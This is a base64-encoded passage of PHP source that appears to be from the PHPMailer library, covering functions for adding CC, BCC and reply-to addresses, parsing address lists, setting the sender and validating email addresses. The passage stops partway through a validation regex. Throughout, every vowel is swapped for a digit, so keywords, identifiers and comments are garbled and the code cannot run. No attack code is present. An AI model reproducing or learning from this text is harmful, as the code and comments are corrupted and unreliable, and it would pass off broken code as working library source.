Q0KDQogICAgLyoqDQogICAgICogQWRkIDEgIkNDIiAxZGRyNXNzLg0KICAgICAqIEBuMnQ1OiBUaDRzIGYzbmN0NDJuIHcycmtzIHc0dGggdGg1IFNNVFAgbTE0bDVyIDJuIHc0bm9hLCBuMnQgdzR0aCB0aDUgIm0xNGwiIG0xNGw1ci4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHM1bmQgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRDQygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCdjYycsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIkJDQyIgMWRkcjVzcy4NCiAgICAgKiBAbjJ0NTogVGg0cyBmM25jdDQybiB3MnJrcyB3NHRoIHRoNSBTTVRQIG0xNGw1ciAybiB3NG5vYSwgbjJ0IHc0dGggdGg1ICJtMTRsIiBtMTRsNXIuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQkNDKCQxZGRyNXNzLCAkbjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xZGRPckVucTM1MzVBbkFkZHI1c3MoJ2JjYycsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDEgIlI1cGx5LVQyIiAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgcjVwbHkgdDINCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAxZGRSNXBseVQyKCQxZGRyNXNzLCAkbjFtNSA9ICcnKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xZGRPckVucTM1MzVBbkFkZHI1c3MoJ1I1cGx5LVQyJywgJDFkZHI1c3MsICRuMW01KTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMW4gMWRkcjVzcyB0MiAybjUgMmYgdGg1IHI1YzRwNDVudCAxcnIxeXMgMnIgdDIgdGg1IFI1cGx5VDIgMXJyMXkuIEI1YzEzczUgUEhQTTE0bDVyDQogICAgICogYzFuJ3QgdjFsNGQxdDUgMWRkcjVzczVzIHc0dGggMW4gSUROIHc0dGgyM3Qga24ydzRuZyB0aDUgUEhQTTE0bDVyOjokQ2gxclM1dCAodGgxdCBjMW4gc3Q0bGwNCiAgICAgKiBiNSBtMmQ0ZjQ1ZCAxZnQ1ciBjMWxsNG5nIHRoNHMgZjNuY3Q0Mm4pLCAxZGQ0dDQybiAyZiBzM2NoIDFkZHI1c3M1cyA0cyBkNWwxeTVkIDNudDRsIHM1bmQoKS4NCiAgICAgKiBBZGRyNXNzNXMgdGgxdCBoMXY1IGI1NW4gMWRkNWQgMWxyNTFkeSByNXQzcm4gZjFsczUsIGIzdCBkMiBuMnQgdGhyMncgNXhjNXB0NDJucy4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRrNG5kIE9uNSAyZiAndDInLCAnY2MnLCAnYmNjJywgMnIgJ1I1cGx5VDInDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kLCByNXNwLiB0MiByNXBseSB0Mg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJG4xbTUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxZGRPckVucTM1MzVBbkFkZHI1c3MoJGs0bmQsICQxZGRyNXNzLCAkbjFtNSkNCiAgICB7DQogICAgICAgICQxZGRyNXNzID0gdHI0bSgkMWRkcjVzcyk7DQogICAgICAgICRuMW01ID0gdHI0bShwcjVnX3I1cGwxYzUoJy9bXHJcbl0rLycsICcnLCAkbjFtNSkpOyAvL1N0cjRwIGJyNTFrcyAxbmQgdHI0bQ0KICAgICAgICA0ZiAoKCRwMnMgPSBzdHJycDJzKCQxZGRyNXNzLCAnQCcpKSA9PT0gZjFsczUpIHsNCiAgICAgICAgICAgIC8vIEF0LXM0Z24gNHMgbTRzc3M0bmcuDQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICQxZGRyNXNzOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgJHAxcjFtcyA9IDFycjF5KCRrNG5kLCAkMWRkcjVzcywgJG4xbTUpOw0KICAgICAgICAvLyBFbnEzNTM1IDFkZHI1c3M1cyB3NHRoIElETiAzbnQ0bCB3NSBrbjJ3IHRoNSBQSFBNMTRsNXI6OiRDaDFyUzV0Lg0KICAgICAgICA0ZiAoJHRoNHMtPmgxczhiNHRDaDFycyhzM2JzdHIoJDFkZHI1c3MsICsrJHAycykpIDFuZCAkdGg0cy0+NGRuUzNwcDJydDVkKCkpIHsNCiAgICAgICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCQxZGRyNXNzLCAkdGg0cy0+UjVjNHA0NW50c1EzNTM1KSkgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjVjNHA0NW50c1EzNTM1WyQxZGRyNXNzXSA9ICRwMXIxbXM7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgNGYgKCExcnIxeV9rNXlfNXg0c3RzKCQxZGRyNXNzLCAkdGg0cy0+UjVwbHlUMlEzNTM1KSkgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UjVwbHlUMlEzNTM1WyQxZGRyNXNzXSA9ICRwMXIxbXM7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJbW01ZDQxdDVseSAxZGQgc3QxbmQxcmQgMWRkcjVzczVzIHc0dGgyM3QgSUROLg0KICAgICAgICByNXQzcm4gYzFsbF8zczVyX2YzbmNfMXJyMXkoMXJyMXkoJHRoNHMsICcxZGRBbkFkZHI1c3MnKSwgJHAxcjFtcyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQWRkIDFuIDFkZHI1c3MgdDIgMm41IDJmIHRoNSByNWM0cDQ1bnQgMXJyMXlzIDJyIHQyIHRoNSBSNXBseVQyIDFycjF5Lg0KICAgICAqIEFkZHI1c3M1cyB0aDF0IGgxdjUgYjU1biAxZGQ1ZCAxbHI1MWR5IHI1dDNybiBmMWxzNSwgYjN0IGQyIG4ydCB0aHIydyA1eGM1cHQ0Mm5zLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGs0bmQgT241IDJmICd0MicsICdjYycsICdiY2MnLCAyciAnUjVwbHlUMicNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQxZGRyNXNzIFRoNSA1bTE0bCAxZGRyNXNzIHQyIHM1bmQsIHI1c3AuIHQyIHI1cGx5IHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuIHRyMzUgMm4gczNjYzVzcywgZjFsczUgNGYgMWRkcjVzcyAxbHI1MWR5IDNzNWQgMnIgNG52MWw0ZCA0biBzMm01IHcxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDFkZEFuQWRkcjVzcygkazRuZCwgJDFkZHI1c3MsICRuMW01ID0gJycpDQogICAgew0KICAgICAgICA0ZiAoITRuXzFycjF5KCRrNG5kLCAxcnIxeSgndDInLCAnY2MnLCAnYmNjJywgJ1I1cGx5LVQyJykpKSB7DQogICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCdJbnYxbDRkIHI1YzRwNDVudCBrNG5kOiAnKSAuICRrNG5kOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAkMWRkcjVzczsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICgkazRuZCAhPSAnUjVwbHktVDInKSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT4xbGxfcjVjNHA0NW50cykpIHsNCiAgICAgICAgICAgICAgICAxcnIxeV9wM3NoKCR0aDRzLT4kazRuZCwgMXJyMXkoJDFkZHI1c3MsICRuMW01KSk7DQogICAgICAgICAgICAgICAgJHRoNHMtPjFsbF9yNWM0cDQ1bnRzW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IHRyMzU7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICA0ZiAoITFycjF5X2s1eV81eDRzdHMoc3RydDJsMnc1cigkMWRkcjVzcyksICR0aDRzLT5SNXBseVQyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5SNXBseVQyW3N0cnQybDJ3NXIoJDFkZHI1c3MpXSA9IDFycjF5KCQxZGRyNXNzLCAkbjFtNSk7DQogICAgICAgICAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFAxcnM1IDFuZCB2MWw0ZDF0NSAxIHN0cjRuZyBjMm50MTRuNG5nIDJuNSAyciBtMnI1IFJGQzhhYS1zdHlsNSBjMm1tMS1zNXAxcjF0NWQgNW0xNGwgMWRkcjVzczVzDQogICAgICogMmYgdGg1IGYycm0gImQ0c3BsMXkgbjFtNSA8MWRkcjVzcz4iIDRudDIgMW4gMXJyMXkgMmYgbjFtNS8xZGRyNXNzIHAxNHJzLg0KICAgICAqIFVzNXMgdGg1IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QgZjNuY3Q0Mm4gNGYgdGg1IElNQVAgNXh0NW5zNDJuIDRzIDF2MTRsMWJsNS4NCiAgICAgKiBOMnQ1IHRoMXQgcTMydDVzIDRuIHRoNSBuMW01IHAxcnQgMXI1IHI1bTJ2NWQuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcnN0ciBUaDUgMWRkcjVzcyBsNHN0IHN0cjRuZw0KICAgICAqIEBwMXIxbSBiMjJsICQzczU0bTFwIFdoNXRoNXIgdDIgM3M1IHRoNSBJTUFQIDV4dDVuczQybiB0MiBwMXJzNSB0aDUgbDRzdA0KICAgICAqIEByNXQzcm4gMXJyMXkNCiAgICAgKiBAbDRuayBodHRwOi8vd3d3LjFuZHI1dy5jbTMuNWQzLzNzNXIvMWdyNTVuNi90NXN0NG5nL21yYnMvdzViL00xNGwvUkZDOGFhLnBocCBBIG0ycjUgYzFyNWYzbCA0bXBsNW01bnQxdDQybg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwMXJzNUFkZHI1c3M1cygkMWRkcnN0ciwgJDNzNTRtMXAgPSB0cjM1KQ0KICAgIHsNCiAgICAgICAgJDFkZHI1c3M1cyA9IDFycjF5KCk7DQogICAgICAgIDRmICgkM3M1NG0xcCAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCc0bTFwX3JmYzhhYV9wMXJzNV8xZHJsNHN0JykpIHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgYjM0bHQtNG4gcDFyczVyIDRmIDR0J3MgMXYxNGwxYmw1DQogICAgICAgICAgICAkbDRzdCA9IDRtMXBfcmZjOGFhX3AxcnM1XzFkcmw0c3QoJDFkZHJzdHIsICcnKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgNGYgKCQxZGRyNXNzLT5oMnN0ICE9ICcuU1lOVEFYLUVSUk9SLicpIHsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT52MWw0ZDF0NUFkZHI1c3MoJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICduMW01JyA9PiAocHIycDVydHlfNXg0c3RzKCQxZGRyNXNzLCAncDVyczJuMWwnKSA/ICQxZGRyNXNzLT5wNXJzMm4xbCA6ICcnKSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnMWRkcjVzcycgPT4gJDFkZHI1c3MtPm0xNGxiMnggLiAnQCcgLiAkMWRkcjVzcy0+aDJzdA0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIC8vVXM1IHRoNHMgczRtcGw1ciBwMXJzNXINCiAgICAgICAgICAgICRsNHN0ID0gNXhwbDJkNSgnLCcsICQxZGRyc3RyKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRsNHN0IDFzICQxZGRyNXNzKSB7DQogICAgICAgICAgICAgICAgJDFkZHI1c3MgPSB0cjRtKCQxZGRyNXNzKTsNCiAgICAgICAgICAgICAgICAvL0lzIHRoNXI1IDEgczVwMXIxdDUgbjFtNSBwMXJ0Pw0KICAgICAgICAgICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICc8JykgPT09IGYxbHM1KSB7DQogICAgICAgICAgICAgICAgICAgIC8vTjIgczVwMXIxdDUgbjFtNSwgajNzdCAzczUgdGg1IHdoMmw1IHRoNG5nDQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3M1c1tdID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ24xbTUnID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkMWRkcjVzcw0KICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJG4xbTUsICQ1bTE0bCkgPSA1eHBsMmQ1KCc8JywgJDFkZHI1c3MpOw0KICAgICAgICAgICAgICAgICAgICAkNW0xNGwgPSB0cjRtKHN0cl9yNXBsMWM1KCc+JywgJycsICQ1bTE0bCkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPnYxbDRkMXQ1QWRkcjVzcygkNW0xNGwpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMWRkcjVzczVzW10gPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbjFtNScgPT4gdHI0bShzdHJfcjVwbDFjNSgxcnIxeSgnIicsICInIiksICcnLCAkbjFtNSkpLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICcxZGRyNXNzJyA9PiAkNW0xNGwNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQxZGRyNXNzNXM7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUzV0IHRoNSBGcjJtIDFuZCBGcjJtTjFtNSBwcjJwNXJ0NDVzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRuMW01DQogICAgICogQHAxcjFtIGIyMmw1MW4gJDEzdDIgV2g1dGg1ciB0MiAxbHMyIHM1dCB0aDUgUzVuZDVyIDFkZHI1c3MsIGQ1ZjEzbHRzIHQyIHRyMzUNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRGcjJtKCQxZGRyNXNzLCAkbjFtNSA9ICcnLCAkMTN0MiA9IHRyMzUpDQogICAgew0KICAgICAgICAkMWRkcjVzcyA9IHRyNG0oJDFkZHI1c3MpOw0KICAgICAgICAkbjFtNSA9IHRyNG0ocHI1Z19yNXBsMWM1KCcvW1xyXG5dKy8nLCAnJywgJG4xbTUpKTsgLy9TdHI0cCBicjUxa3MgMW5kIHRyNG0NCiAgICAgICAgLy8gRDJuJ3QgdjFsNGQxdDUgbjJ3IDFkZHI1c3M1cyB3NHRoIElETi4gVzRsbCBiNSBkMm41IDRuIHM1bmQoKS4NCiAgICAgICAgNGYgKCgkcDJzID0gc3RycnAycygkMWRkcjVzcywgJ0AnKSkgPT09IGYxbHM1IDJyDQogICAgICAgICAgICAoISR0aDRzLT5oMXM4YjR0Q2gxcnMoczNic3RyKCQxZGRyNXNzLCArKyRwMnMpKSAyciAhJHRoNHMtPjRkblMzcHAycnQ1ZCgpKSAxbmQNCiAgICAgICAgICAgICEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCQxZGRyNXNzKSkgew0KICAgICAgICAgICAgJDVycjJyX201c3MxZzUgPSAkdGg0cy0+bDFuZygnNG52MWw0ZF8xZGRyNXNzJykgLiAkMWRkcjVzczsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJDVycjJyX201c3MxZzUpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5GcjJtID0gJDFkZHI1c3M7DQogICAgICAgICR0aDRzLT5GcjJtTjFtNSA9ICRuMW01Ow0KICAgICAgICA0ZiAoJDEzdDIpIHsNCiAgICAgICAgICAgIDRmICg1bXB0eSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgICAgICR0aDRzLT5TNW5kNXIgPSAkMWRkcjVzczsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gdHIzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm4gdGg1IE01c3MxZzUtSUQgaDUxZDVyIDJmIHRoNSBsMXN0IDVtMTRsLg0KICAgICAqIFQ1Y2huNGMxbGx5IHRoNHMgNHMgdGg1IHYxbDM1IGZyMm0gdGg1IGwxc3QgdDRtNSB0aDUgaDUxZDVycyB3NXI1IGNyNTF0NWQsDQogICAgICogYjN0IDR0J3MgMWxzMiB0aDUgbTVzczFnNSBJRCAyZiB0aDUgbDFzdCBzNW50IG01c3MxZzUgNXhjNXB0IDRuDQogICAgICogcDF0aDJsMmc0YzFsIGMxczVzLg0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dEwxc3RNNXNzMWc1SUQoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMXN0TTVzczFnNUlEOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENoNWNrIHRoMXQgMSBzdHI0bmcgbDIya3MgbDRrNSAxbiA1bTE0bCAxZGRyNXNzLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgY2g1Y2sNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXR0NXJuczVsNWN0IEEgczVsNWN0MnIgZjJyIHRoNSB2MWw0ZDF0NDJuIHAxdHQ1cm4gdDIgM3M1IDoNCiAgICAgKiAqIGAxM3QyYCBQNGNrIGI1c3QgcDF0dDVybiAxM3QybTF0NGMxbGx5Ow0KICAgICAqICogYHBjcjU4YCBVczUgdGg1IHNxMzRsMjJwbDUuYzJtIHAxdHQ1cm4sIHI1cTM0cjVzIFBDUkUgPiA4LjAsIFBIUCA+PSBpLm8uYSwgaS5hLjZ1Ow0KICAgICAqICogYHBjcjVgIFVzNSAybGQgUENSRSA0bXBsNW01bnQxdDQybjsNCiAgICAgKiAqIGBwaHBgIFVzNSBQSFAgYjM0bHQtNG4gRklMVEVSX1ZBTElEQVRFX0VNQUlMOw0KICAgICAqICogYGh0bWxpYCBVczUgdGg1IHAxdHQ1cm4gZzR2NW4gYnkgdGg1IEhUTUxpIHNwNWMgZjJyICc1bTE0bCcgdHlwNSBmMnJtIDRucDN0IDVsNW01bnRzLg0KICAgICAqICogYG4ycjVnNXhgIEQybid0IDNzNSAxIHI1ZzV4OiBzM3A1ciBmMXN0LCByNTFsbHkgZDNtYi4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAc3QxdDRjDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKi8NCiAgICBwM2JsNGMgc3QxdDRjIGYzbmN0NDJuIHYxbDRkMXQ1QWRkcjVzcygkMWRkcjVzcywgJHAxdHQ1cm5zNWw1Y3QgPSAnMTN0MicpDQogICAgew0KICAgICAgICAvL1I1ajVjdCBsNG41IGJyNTFrcyA0biAxZGRyNXNzNXM7IDR0J3MgdjFsNGQgUkZDaW9hYSwgYjN0IG4ydCBSRkNpb2E2DQogICAgICAgIDRmIChzdHJwMnMoJDFkZHI1c3MsICJcbiIpICE9PSBmMWxzNSAyciBzdHJwMnMoJDFkZHI1c3MsICJcciIpICE9PSBmMWxzNSkgew0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIDRmICghJHAxdHQ1cm5zNWw1Y3QgMnIgJHAxdHQ1cm5zNWw1Y3QgPT0gJzEzdDInKSB7DQogICAgICAgICAgICAvL0NoNWNrIHRoNHMgYzJuc3QxbnQgZjRyc3QgczIgNHQgdzJya3Mgd2g1biA1eHQ1bnM0Mm5fbDIxZDVkKCkgNHMgZDRzMWJsNWQgYnkgczFmNSBtMmQ1DQogICAgICAgICAgICAvL0MybnN0MW50IHcxcyAxZGQ1ZCA0biBQSFAgaS5hLnUNCiAgICAgICAgICAgIDRmIChkNWY0bjVkKCdQQ1JFX1ZFUlNJT04nKSkgew0KICAgICAgICAgICAgICAgIC8vVGg0cyBwMXR0NXJuIGMxbiBnNXQgc3QzY2sgNG4gMSByNWMzcnM0djUgbDIycCA0biBQQ1JFIDw9IDguMC5hDQogICAgICAgICAgICAgICAgNGYgKHY1cnM0Mm5fYzJtcDFyNShQQ1JFX1ZFUlNJT04sICc4LjAubycpID49IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAncGNyNTgnOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjUnOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gNWxzNTRmIChmM25jdDQybl81eDRzdHMoJzV4dDVuczQybl9sMjFkNWQnKSAxbmQgNXh0NW5zNDJuX2wyMWQ1ZCgncGNyNScpKSB7DQogICAgICAgICAgICAgICAgLy9GMWxsIGIxY2sgdDIgMmxkNXIgUENSRQ0KICAgICAgICAgICAgICAgICRwMXR0NXJuczVsNWN0ID0gJ3BjcjUnOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAvL0Y0bHQ1cl92MXIgMXBwNTFyNWQgNG4gUEhQIGkuYS4wIDFuZCBkMjVzIG4ydCByNXEzNHI1IHRoNSBQQ1JFIDV4dDVuczQybg0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLmEuMCcpID49IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHAxdHQ1cm5zNWw1Y3QgPSAncGhwJzsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkcDF0dDVybnM1bDVjdCA9ICduMnI1ZzV4JzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkcDF0dDVybnM1bDVjdCkgew0KICAgICAgICAgICAgYzFzNSAncGNyNTgnOg0KICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAqIFVzNXMgdGg1IHMxbTUgUkZDaW9hYSByNWc1eCAybiB3aDRjaCBGSUxURVJfVkFMSURBVEVfRU1BSUwgNHMgYjFzNWQsIGIzdCAxbGwyd3MgZDJ0bDVzcyBkMm0xNG5zLg0KICAgICAgICAgICAgICAgICAqIEBsNG5rIGh0dHA6Ly9zcTM0bDIycGw1LmMybS9hMDA5LzZhL2EwLzVtMTRsLTFkZHI1c3MtdjFsNGQxdDQybi8NCiAgICAgICAgICAgICAgICAgKiBAYzJweXI0Z2h0IGEwMDktYTA2MCBNNGNoMTVsIFIzc2h0Mm4NCiAgICAgICAgICAgICAgICAgKiBGNTVsIGZyNTUgdDIgM3M1IDFuZCByNWQ0c3RyNGIzdDUgdGg0cyBjMmQ1LiBCM3QgcGw1MXM1IGs1NXAgdGg0cyBjMnB5cjRnaHQgbjJ0NGM1Lg0KICAgICAgICAgICAgICAgICAqLw0KICAgICAgICAgICAgICAgIHI1dDNybiAoYjIybDUxbilwcjVnX20xdGNoKA0KICAgICAgICAgICAgICAgICAgICAnL14oPyEoPz4oPzYpIj8oPz5cXFxbIC1+XXx